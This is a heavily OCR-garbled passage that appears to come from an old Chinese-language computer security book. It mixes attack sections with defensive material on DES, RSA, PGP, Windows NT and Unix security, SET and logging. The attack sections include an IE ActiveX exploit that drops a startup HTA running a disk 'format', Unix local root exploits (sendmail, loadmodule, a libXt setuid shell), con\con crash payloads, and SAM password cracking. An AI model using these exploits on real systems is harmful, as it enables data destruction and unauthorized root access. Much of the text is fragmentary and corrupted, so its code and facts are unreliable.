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find “ " winnt prOfiles administrator history history ie5 index.dat

find “ 8 winnt profiles administrator Cookies index.dat

1 administrators “ Bypass Traverse Checking”

2 Pr flle
administrator

3

4 FTP FTP IE URL
5.2.2 IE

IE

For spanish Windows 98
objectid "scr'classid=" clsid 06290BDS 48AA 11D2 8432 006008C3FBFC”

object
SCRIPT
scr.Reset
scr.Path=" C \\windows Men ImclO Programas\ Inicio\\automat.hta’
scr.Doc  “  objectid=" wsh' classid=" clsid: F935DC22 ICFO 11D0-ADBY-
00C04FD58A0B’
object
SCRIPT wsh.Run ' stat mformat a g autotest U aert ’
IMPORTANT  Windows is configuring the system. Pleuse do not interrupt this process
" SCRIPT
scr.write

1 stat m  Spanish Win98

2 autotest Format.com
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3 message “ IMPORTANT Windows is configuring the system.
Please do not interrupt this process " Windows

Format

5.2.3 IE 5.0 ActiveX

AcriveX IE
HTML Win
dows95 98

1 “ High”
2 Active Scripting
3 ActiveX Controls  pl g Ins

objectid “ scr” ' classid “ clsid 06290BD5 48AA 11D2 8432
006008C3FBFC"

objec
<SCRIPT
scr.Reset
scr.Path  “ C  \\windows Start Menu Programs StartUp guninski  hta’
scr.Doc objectid ' wsh’ classid ' clsid F93SDC22 ICFO 11D0 ADB9
00CO4FD58A0B’

object
<SCRIPT dert ' Written by Georgi Guninski http www.nat.bg joro’
wsh.Run ’ ¢ command com’

“ 7 SCRIPT ”
scr.write()

SCRIPT

object

5.2.4 IE URL

Microsoft
InternetExplorer
Web IE

Web

5.3 UNIX Linux

Unix Linux
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5.3.1

Unix
UNIX
AIX 3 etc security passwd
tcb auth flles dirst letter# of usemame username

A UX3 0s tcb files auth

BSD4 3 Reno etc master passwd
ConverxoS10 etc shadow

DC UX ec tcb aa user

EP K etc shadow x
HP—UX secure etc  passwd
IRIX5 etc shadow x
Linux 1.1 etc shadow
OSF | etc passwd dir pag
SCOUnix .2x tcb auth files <firstletter
Of username uselname
SunOS4 1 c2 etc security passvd ad junct username
SunOS5.0 etc shadow
optional NIS  private secure maps tables whatever
SystemV Release 4.0 etc shadow x
SystemV Release 4.2 etc  secunty database
Ultrix4 tec auth .dir pag]
UNICOS etc udb

5.3.2 root
sendmail root
sendmail root sendmail -oM
1 sunsendmailcp
bin sh
#
# sunsendmailcpfm mto
if ne2 then
echous e basename 0 fromto
exit 1

fi
H* f usr tmp dead letter
if F usr tmp dead letter then

echo sorry  cant cOntinue usr tI* P dead letter exists
fl

if r 1 then

echo 1 doesnt exist or is unreadable

exit |

fi

n s 2 usr tmp dead letter

ugr lib sendmail LO’ OM 8nythin8 UsER 1
rm usr tmp dead letter



exit0
2

%. sunsendmailcp sourcefile  ar8etfle
“ " targetfile
loadmodu e rOot

bin csh
set path . path
ca |Id EoF
bin sh
EoF
chmoda xId
loadmodulesd o0 evglOad
loadmodule root
% cat bin bin
bin sh
sh -i
D
chmod 755 bin bin
setenv IFS
cd bin
{usr/openwin/bin/loadmodul e
/sys/sundc/OBJ  evgmod-sundc.o/etc  openwin modules evgload
# whoami
root
Sun0A 1 X11R4 root
mkdir tmp xyzzy
7ocd tmp tyzzy

7ocat Initialize c EoF
tApplnitialize setuid O
exec ¢ bin sh ’ “gh" 0

XtAppSetFallbackResources {}
_XtDisplaylnitialize () {}
EOF
ax usr lib libXt a
cc-c  piclnhidize.c
Id .o
mkdir lib lib X
mva Outlib x libxt.so.4.1
cdlib x
xterm
whoami
root

5.4 windows
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5.4.1 windows 9X
Windows 9X
2000

Windows 98
MS Windows

CON NUL AUX CLOCK
X PRN

DDOS
Outlook

Windows
“ ¢ \ device
5
CONFIC 9H

CON NUL NUL\CON AUX\NUL
10.SYS

CLOCK —System clock

WindowsNT  Windows
URL
device ”
Ml
LPT x COM

Wind ws

CoN Console comhination of keyhoaHd and scrcen to handle input 8nd output

AUX or CoMI
CoMn  Second Third
LPTI or PRN
NUL  Dummy port  Or the"
CoNFIC Unknown
FAT32 VFAT

Windows95 98 WindowsNT

VFAT
VFAT
VFAT

FAT

“ 8 311
“ NULH “ CON”

1 HTML
nul HTML
Pm4.2 Netscape M essenger

HTML
BODY
AHREF “ ¢
—ornul nul
— oraux aux
BODY
HTML
2 WarFTP
FTP
3 HKEY

clock

c: \con\con “ 1’
c: \nul\nul “ 1’

config

First serial communicationpoH
communic8tiOnpOrt
First parallel port

null device”

VFAT
FAT

VFAT

which we al know under Linux as dev null

FAT

FAT32 VFAT

FAT32 VFAT

drive
Windows 98

\con con” > crashing IE A

clock N
cOnfig -

CET con con

LOCAL MACHINE Software CIASSES exefile shell

con con

CET nul

drive \nul
MSoutlook  Eudorn

nul

Open
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4 HTML

HTML
BODY
<IMC SRC=" ¢ \con\con”
—or nul\nul  clock clock -
oraux aux cOnfig \con g -
BODY
HTML
Netscape
file D c nul  nul URL c nul\nul
file D Netscape

Microsoft Windows 98 Technocraft patch Decon

http www.technocraft.co.jp download Decon02e.exe
Microsoft Windows 95 Technocraft Patch Decon
httP www.technocraft co jp download DeconO2e.exe

5.4 2 NS Bxchange Server

N N
sSMTP N N
1 Microsoft Exchange Server
1 000 1 001 000 10
10 000 100 000
1
N
N2
1 SMTP
2
Aspeon Software' s ExchangePlus
http www aspeonsoftware com aspeon exchangeplus asp
OSK  Outlook Survival Kit
http osknow.bizland.com about.htm
Watch Y our Back
http www.grinningshark.com
5 4.3 SAM
Windows NT NT
NT Registry SAM Security Accounts
Man a8ement RSA MD4
NT Unix
NT Miorosoft NT 5 0
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Domain Ad ministrator

NT
sAM
SAM Administrator
Administrator
SAM NT
RsA
SAM PWDump  NTCrack PWDump
PWAudit PWDump
Administrator
Administrator Logon L ogoff SAM
Administrator
Administrator
Administrator
Web User Power User
PASsSPRoP Wind wsNT
ResourceKit ScanNT
Service Pack3 NT
Token Card
Emergency Repair Disk BRD SAM
7 system70 repar sam
“ " Read Administrator
“ " Full Control Power User “ " Change
SAM NT
RsA
SAM PWDump  NTCrack
% system%\repalr sam
ERD
Administrator
Administrator Administrator
SAM NT NT SMB SMB
Server Message Block Microsoft LAN
SMB ! ” sAM  NT
SMB Registry sMB
Internet Administrator

sMB
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SAM NT

RSA
SAM PWsDump  NTCrack SMB
NT
135 142 TCP UDP
RPC 135
Proxy SMB SMB
ACL 135 L42
Tmjan Horses SAM
SAM ERD
Administrator Administrator
ERD
Administrator
Administrator Web
User Power User
5.4.4 Administrator
widnows NT Guest
Guest NT
Cuest NT
NT 4 4 Cuest
IPaddress C |Paddress D
\\I Paddress\wINNT NT
NT
5.5
5.5.1 CGI Script
CGlI Script wwww CCl
Script Web
CCI Script CCI Script Internet
Web CCl Script
CGI Script
1



“ nobody”

5.5.2 JavaScript
JavaScript

javaScript

JavaScript

JavaScript

JavaScript
Javascript

7 101

Jevascript

13 ” &:ri pt
“ nobody” CCI Script
10dn Perl
chroot Bug CCI Script
Netscape
JavaScript Javt

Netscape 20 201

URL
Netscape Navigator

Netscape Navigator 7 1.0
2 01

Micmsoft Internet Explorer

URL

7.1.0

javascript

CCl Script

Internet

Navigator
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6.1

6.1.1 DES
DES 6 1
T REME P
s gt o8
. 1 IREVE  cRGER
Do WEEA O 4 b
‘BRBE wEBE
4 -Et_ '\-;:_m_ -
b 0
ARNY R
\E, (B4,
iw ENHE
€ LTTTLER)
)
baf X
BMo-1 DESKZF#RITI16BairdiBan
1 64

66
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3
4 48
5 32 48 48 XOR
6 3 5 XOR
7 6 32
8 2 64 7 XOR
9 8 2
10 4 15
11 64 1 64
64
DES NSA
NSA DES 64
56 RSA
DES IDEA
6.1.2 RSA
DES KEY KEY
DES KEY
KEY KEY
RSA DES RsA
RsA
RSA
private key
key private key
key public key public key pri
vate key public key
publickoy private key
private key
public key
public key private key
RsA
p qr P q r p 1 q 1
p qr private key

m m Imod p 1 qg 1



m n public key
a2 n a S < n s 2

b am mod n 0<b n

b
c b’ modpg O<c pq
c a
m n pq b
r n
P qQ
P 1 logp
logp log p
n 22 486
2512
p
amod p p & amodp
P
3modp 5° S5modp p
6.1.3 PGP
PGP “ Pretty Cood Privacy” RSA
RsA
PCP PCP
Unencode RADIX 64 MIME BASEG64
PGP Phil Zimmermann RSA
PCP
PGP

Internet

68
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RSA

Privacy Authentication
RSA RSA
Publickey Secret key or Private
key
“ " message digest
PGP 128
MD5 messagedigest 5 MD5 RonRive t PGP Calin
Plumb MD5 PGP MD5
CRC MD5
128
PCP 128
PCP
PCP RSA RSA
PCP RSA IDEA
DES USFedera DataEncryption Standard
IDEA ETH Ascom Tech
AC IDEA IDEA RsA
PCP IDEA
RsA RSA IDEA
RSA IDEA PCP
RSA 70
PCP PcP
" Novell Netware
Netware 4.1
PCP

Public Key Tampering
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Alice Alice Alice BBS
Alice Email Alice Alice
Charlie BBs Alice
Alice Alice Charlie
“ Alice" Charlie Alice
Alice Alicc
Alice Alice
Alice
Alice
PGP
Alice David David
Alice PcP
David Alice David Alice
Alice David
Alice David Alice David
Alice “ " Alioe David David Alice
BBS BBS
David
David
PCP
PCP
User ID
Email
keylD keylD
keylD PCP
" key sfingerprint
Alice
David David David Alice
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PGP
PCP
PCP
pass phase
PCP
PCP PCP
PCP
RSA
randseed hin
seed.bin
PCP PCP
7
PCP PY zIP
6.2
Crytanalysis
CIA

100

Phil Zimmermann

PKZIP

RSA

RSA

rand

PKZIP
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DES
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RSA
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6.3

6.3.1 WinZip
WinZip
“ Addto ZIP’
Wi nzi p 1] ” 1
n 113 ” 13 Wi nZi pﬂ
AZPR Advanced ZIP Password Recovery ZIP
http://www.el comsoft.com/
AZPR ZIP “ ZIP Password encrypted file”
ZIP “ Brute Forcerange options’
113 Start”
6.3.2 ARJ
ARJ “ P’
P’ C DOS
BACKUP “ PASSWORD” “ ARJA—
PPASS WORD BACKUPC \DOS’
ARJ http
www  elcomsoft.com ARI AAPR Advanced ARJ
Password Recovery AAPR AZPR
AZPR
6.3.3 Word Excel
Word
W rd M SOfPass M SOfPass
Office Word  Excel
" Settings’ * Brute force settings’ M SoPass
“ Password character set”

“ OK"
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Word  Excel M SoPass M Sof Pass
M SOfPass http://www.| ostpassword.com
http://www.el comsoft.com AWPR  Advanced Word Password Recovery
Word Advanced ZIP Password Recovery
Excel Word MSofPass AEPR Advanced
ExcelPassword Recovey Excel
6.3.4 Access
ACC% 13 ” 13 ” 13 ”
Access
UltraEdit Access
0042 86
http://www.el comsoft.com AAPR Ad-vanced Access Password
Recovery Access
6 . 3 . 5 {1 ”
Snadboy Snadboy
Snad-boy*
13 ” S,]mboy 13 ” 13 ”
Snadboy http www.snadboy com
VIEWPASSWORD
6.4 PGP
PGP PGP
PGP PGP PGP
DOS PGP
DOS
Windows Windows PGP Unix
root Windows
Windows root
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FBI

NSA FFT 22MHz
27KHz 59.94 Hz
Unix
dev kmem
Windows
PGP
SSH DESlogin
PGP
PCP  Windows FTP
WAV SoundBlaster AWE 32
16 CD

Modem Modem amoO Modem
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7.1

7.1.1
1P
IP
2Gb s 40 DES
2Mb s VPN
IP
IP
P
IP
Sendmail

76

CISCO7500

Web

1000



7 1.2

1424 IETF
Intemct
SHTTP Web
SHTTP

MIT  Kerberos 4
DEC SPx Karsruhe

SNP

5 IBM  CryptoKninght

KDC
DCE
P IP
TCP IP RFC 1421
PEM SMTP
PEM
HTTP

Netwrok Security Propo

TESS
SESAME OSFDCE KerberosV5
Yaksha KerberosV5
Internet
CSS-API
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7.2

Internet Internet Threat Leve Scae ITL ITL Scae
0 9 7.1
AT Interner AR (ITL) 48
L T
a 1658 B 3 T dh——FA P R ) 5 2k B e
| A PR e R e R I Y
2 AT R TN TR AT Ol
3 s AT RPN TS R O s R e
4 [l — P I i 9 P WL R L O i ol e A 2
5 ol — R E A O CLO B 0 #06 VT Rtk I R i A R o o T i
i W1k s AP ATELT B (o E Mk i A Wi
7 ¥ 0 A ) PR P T L R b 0 A A R
] Wty o SR P O LR M R T R b AR R A O P ] R
9 B o Bl PR TR O R BT W A
3
non  root
root
ITLO
1 3
4 6
Internet
7 9 Internet
Internet
TCSEC
OrangeBook NCSC

78



D Ci1 C2 BI
DOS Windows95 D Cc2

B2 B3 Al D

WindowsNT  Unix

7 3 1 Windows NT
Windows NT

Windows NT

Windows NT

Windows NT
Microsoft Windows NT Server

Windows NT
Windows NT

Windows NT

Windows NT

WindowsNT

Windows NT

Windows NT Workstation

Windows NT
Windows NT
Local Security Authority
security Reference Monitor
Windows NT
Access Token
Access contrl List
NT
Windows NT

Internet

Al
Al

Windows NT
Windows NT

Windows NT Server

Windows

Internet Web
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Windows NT Server

Microsoft ~ WindowsNT
Windows NT Server Web
s
Windows NT

NCP Netware Core Prtcal

Internet
Internet Information Server

SMB  Server Message Blocks

HTTP
Windows NT
Windows
Remote Access Server RAS
Windows NT Windows NT
Windows NT
Windows NT Intel X86
MIPS DEC Alpha RIsC Windows NT
WindowsNT
Windwos NT
ACL Windows NT
Windows
NT Clusterling
Windwos NT
Protected
Subsystem
integrsl
1
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Windows NT Workstation

Windows NT Server

Windows NT Server

Windows NT Workstation

Windows NT
Windows NT ACL
Windows NT
guest acotal
inter-domain login
LSA Local Security Authority
ISA
SAM  Security Account Manager
LSA SAM
SRM  Seurity Referencc Monitor SRM
Windows NT Windows NT
2
LSA LSA
LSA SAM
SRM
3
SAM
SAM SAM
SID
LSA
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SAM 1000

SAM Windows NT
SAM
SAM
SAM PDC
BDC
4
Windows NT SRM
LSA SRM
SRM
SRM
SID
ACL ACE
ACL SRM ACL ACE
ACL SRM
ACL ACE SRM
Windows NT
Windows NT NETLOGN
LSA
Internet
Windows NT
Domain Windows NT
Windows NT Crtl Alt De
Windows NT
Crtl Alt Dd
Crtl Alt D€
Domain
Crtl Alt D€
NETLGIN LSA LSA
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LSA SAM
SAM
LSA SID
SID
NETLOGON
Windows NT
Internet
InformationServer 11S
s
“ nonce’
1
2
3
4
5
6
7 5

Server

NT

SAM
SID SID
Shell
NETLOGON
NETLOGON
home domain
SID
Windows NT f Microsoft Internet
Windows NT
Web
share secret
nonce
nonce
2 nonce

Web

ms Internet Information

SSL PCT
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Windows NT NT NTFS FAT
NTFS
NTFS Windows NT Wind wsNT
NTFs
NTFS
FAT
NTFS FAT
7.3.2 Unix
Unix
Unix Cc2 Unix
Unix NIS Windows NT
Unix
Unix etc passwd
etc shadow etc security passwd etc passwd
shell ulD CID Unix
etc passwd
passwd etc
passwd
Unix
Is-1
rwxrwxrwx | pat cs 440 70 jul 28 21: 12 zombin
rwx
rwx
rwx
s St T s S
T
X s t
, - S T chm d
3 rr-4 w 2 x
1 rwxr-xr- - 754
chown  ohgrp



Unix

Unix

root

SUID

Unix
write

dev 755

Unix NIS
Windows NT
NIS
Windows NT
1 NIS

NIS
NIS
NIS

etc Goup

NIS
NIS sys

etc passwd
NIS etc passwd

mem kmem

passwd group

NIS

dc passwd

root

Unix

Unix

host

NIS

NIs

Unix
I O
chmod()
swap
umask
write
write
root
NIS
etc passtvd
NIs
etc passwd
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Nis etc passwd “ 00 0 "

NIS etc passwd
etc passwd NIS
NIS

NIS DBM DBM
BSD Unix DBM DBM
DBM NIS
2 NIS
NIS NIS NIS
NIS NIS
NIS NIS NIS
NIS NIS
NIS NIS NIS
NIS NIS NFS NIS
Nis NIS Nis
NIS Windows NT NIS
Windows NT NIS
NIS
NIS NIS
Windows NT
NIS Windows NT
3 NIS
NIS
NIS NIS
NIS ASCII

7 3 3 Windows 98

Windows NT  Unix
Windows 98 Windows
o8 Windows 98

Windows c” “ ?
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2 @ ” WI N 98 “ ” R “ ”

WIN98
“ REGEDIT” HKEY _USER .Default Software Micorosoft\Windows
CurrentVersion Run ‘ " “ "
“ rundll.exe user.exe EXITWINDOWS’
WIN98
F8 WIN98 MS
DOS.SYS option

“ BootMulti 0"

“ BootGUI=1" WIN98

“ BootDelay 0" “ Staring Windows 98 ” 0

“ BootKeys 0" FA F5 F6 F8

WIN98

HKEY_CURRENT _USER Software\Micorsoft Windows Current
Version Policies Explorer DWORD *“ NoSetFolders’ “r

“ ” “ ” “ ”

DWORD *“ NoSetTaskbar” “r “ ?

DWORD *“ NoFind” “r “ ?
“ NoRun” “ 0x00000001” “ ?

“ ” “ ] 1 ” “

HKEY_CURRENT_USER Software Microsoft
Windows CurrentVersion Policics System DIwoRD “ NoDispCPL” “r
3
HKEY_CURRENT_UsER Software Micorsoft Windows CurrentVersion Policies
Explorer DOwWRD *“ NoDesktop” “1

4
HKEY_CURRENT _USER Software Micorsoft Windows\CurrentVersion\Policies

System DWORD “ DisableRegistryTools’ “r
5

87



HKEY_CURRENT _USER Software Micorsoft Windows\CurrcntVersion Policies
Explorer “ NoDrives”

00000000
A z 00 A 02 B
04 C C 04000000 D 0800000
ff ff ff ff
6 MSDOS
MS DOS
MsDOS
\HKEY_CURRENT_USER Software Micorsoft Windowgs Currentversion Policies
“ WinoldApp” DOWRD “ Disabled” “r
7
WIN98 PWL Windows
System.ini Password Lists
8
Windows98 CD
CD AUTORUN INF ,
WINDOWS 98
AUTORUN.INF
AUTORUN
13 CDROM ” 13 ”
AUTORUN CD
“ CDROM” “ g
AUTORUN CD
HKEY_ CURRENT_USER\Software Micorsoft Windows
CurentVersion Policies\Explorer DWORD *“ NoDriveTypeAutoRun’
“r AUTORUN.INF
CD

WIN98

“
“ ”
—

HKEY_LOCAL MACHINE

Network
HKEY_CURRENT_UsER\Software\Micosoft\Windows\CurrentV ersion Profllelist
WIN98 Windows ”

Windows "
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4.1

Internet

7.4.2

Internet

CMOS

COMs

Electronic Commerce
Internet

Internet

Internet

90

Intranet

Dos

“ Conly”

Internet

Intranet
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2

3

4

1 1
7.4.3
1 Partial order
2 Order Confirmation
IT
1 SHTTP Web
2 SSL  Secure Sockets Layer Netscape
SSL Netscape Communicator ~ Microsoft |1E

3 STT Secure Transaction Technology Microsoft
STT Microsoft  Internet Explorer

4 SET  Secure Electronic Transaction 1996 6 IBM
Master-Card International  Visalnternational Microsoft Netscape GTE VeriSign SAIC
Terisa SET 1997 5 SET Specification Version

10
SET
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" SET Secure Electronic Transaction

Internet
7 4 4
CA Certificate Architecture
CA
CA
1 CA
DC:Digita Certificate
Root
CA Brand CA Acquirer
Holder cardCA  Merohant CA or Payment Cateway CA
CA

A.

B.

C.

D. CA

2 CA

CA SETCO visa Master Card
SET BtoC Businessto Consumer
SET SSL

SET PKI1
PublicKey Infrastructure x. 509
SET Confidentiality Nonrepudiation

BtoC
SET sET
SET 2 SET
Wallet
SSL  Secure Socket Laydr Netscape
oSl Internet
X.509
SSL
SET SSL SET
SSL SSL

SSL
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BtoB Busnessto Business CA

BtoB BtoC
PKI1 CA
3 CA
PKI BtoB
SPKM SSL PKI1
PKI
Internet IETF (IS0 ITU
PKI
A. Internet
LDAP S MIME TLC
CAT Common Authentication Technology CSS AP
B. ISO ITU 9594 8 X.509
7.4.5 SET
SET 1997 5 31 1.0
Microsoft IBM Brokat CyberCash Microsoft
Wadllet3.0 IBM Payment Registry 1.2 CyberCash CashRegister 4.0 visa
MasterCard SET SETCo SET
SET 2.0
SET 1.0
1 SET
1
2
3
2 SET
SET
1
2 Digital signature
“ " public key

3 SET
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4

payment gateway
visaNET visa BankNet Mastercard
5
6
SET http  //www.setco.org/faq_dev.html
3 CA SET
SET digita certificate
SET
SET
A Cardholder ceritficates
B Merchant certificates
C Payment gateway certificates
D Acquirer ceritcifates
E I ssuer certificates
Internet
Certifcate AuthoHty CA
CA CA
SET
SET
VISA MasterCard SET
7 4 6
SET Internet
1
75
2

Internet
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Internet DNs
PPP
4
Internet
24x 7 24 7
5 Web
Web Web
Web Web
Web
Web
Web
Web
6
8 1
8§ 1 1
Windows NT Event Log Security Log
Unix
SUID SCID sUID scID etc passwd
etc group



find  secure
SUID SCID
UuiD CID
SUID
# find \ pen-004000-0 002000\ type f —print
Unix
du.
ps. CPU
CPU
who.
su su user adinjsulog
S root
root
login. login login
login login
find
256 200
sUID
find
ncheck find
profile su
su profile
1 Unix usr adm acct sum login
2 etc passwd
3 etc wtmp
cron
usr adm sulog login  su
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shell

96

Unix

1

1

root SUID
CPU

init

ulD
root
root
init

Unix

getty

login

root



who

ps

Unix

etc passwd

Unix
finger users w
ps W
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Windows NT

netstat
ps etc utmp
ps
Tiger  Tripwire
8 3
Internet Internet
IP Multicast Restricted Broadcast
Internet Internet
LAN Port
telnet ftp
Unix
ident
TCP IP
netstat
8 3 1
cron table
netstat filename
Unix
Daemon syslogd Unix var adm

syslog messages

etc syslog.conf

auth
cron

98

syslogd System Kernel | og Daemon
sysog.conf

CronTable

etc  utmp

WAN Port

syslogd



daemon
kern

Ip

mail
news

syslog

user
uucp

none
debug
info
notice
err
warning
crit
dert
emerg

Unix

UucCP
Unix

Unix

warning crit alert

inf

syslogd

maillog

ttyl

emerg info

auth  emerg

info

info
info

dev 1p0

Unix

crit

syslogd

info

mail.
inf

notice er
info

var adm maillog

warning Crit

notice er

mail info

Ipr none

mail

adert emerg

var adm

dev console

dev

aert
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root

4
" Ei
ccunixl variox.int
syslogd
syslog
syslogd.conf var log everything
MB MB
1
cploglog 1 cploglog.2... cploglog.971013  cploglog.980101
2
ping
8 3 3
IP
ISP
IsP
ISP
8 3 4
ISDN ISDN  Cadler ID

Céler ID
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Domail Name

com cCo

8 3 5
P Domain Name
P IP InterNIC
Domain Name I nternet
NET
1
InterNIC NIC NIC
http://www  internic.net/
2
InterNIC Internet,
Asian-PacificNIC  APNIC
InterNIC http://ww.apmc.net/
3
Domain Name InterNIC NIC
NIC NIC NIC
CN CNNIC http www.cnmc.net InterNIC
DomainName  InterNIC mil
ddn.mil InterNIC
Domain Name IP whois
whois h whois
whois internic.net hp com
whois hwhois.internic nethp.com whois
whois whois
whois twnic.net ntu edu tw
whois ntu.edu.tw whois twnic.net
Slackware Linux
Domain Name
Domain Name “edu”
NIC
1 +
.edu tw .com.tw
.com .edu
2 +
co or com Org
Homepage  www.bandai.co.jp,
www.bandai.com.jp
3
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I nternet whois whois

finger whowhere hbigfoot
.whowhere.com NIC
NIC whois
whois+NIC net whois server  whois.apmc.net
whoisserver  whois twnic.net whois server
whois.cnmc.net Domain Name
whois.intemic.net whois nic.net
ex.whois.twnic.net
nic.ddn mil
FBI DomainName
nslookup IP FQDN NIC
1
XXX.a0l.com InterNIC
Americaonline
2
HopeNet cdedl.hope.com.tw TWNIC whois
dbms  seed.net.tw hope.com.tw 104
P
168.95.109.222 IP
Domain Name IP InterNIC
1 15.4.75.2
P 15 ClassA InterNIC 15.0 IP

2 140.111.32.53
IP ClassB InterNIC 140.111.0
whois.twnic.net 140.111.32.0
3 203.66.35.1

ClassCIP N 5
203.0 ClassB 9 InterNIC
Classc ClassC
InterNIC ClassB 203.66
whois.apmc.net 203.66.35 0 203.66.35.0
203 66.35.1 IP ForwardnessTechnologyCo.Ltd
IP
Windows95  hosts DNS
DomainName IP Unix Microsoft hosts
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chicago

hosts

20

9.1.1

Internet

hosts.sam

Firewall

Internet

Web

windwos95

hosts

Firewall 3070

Internet
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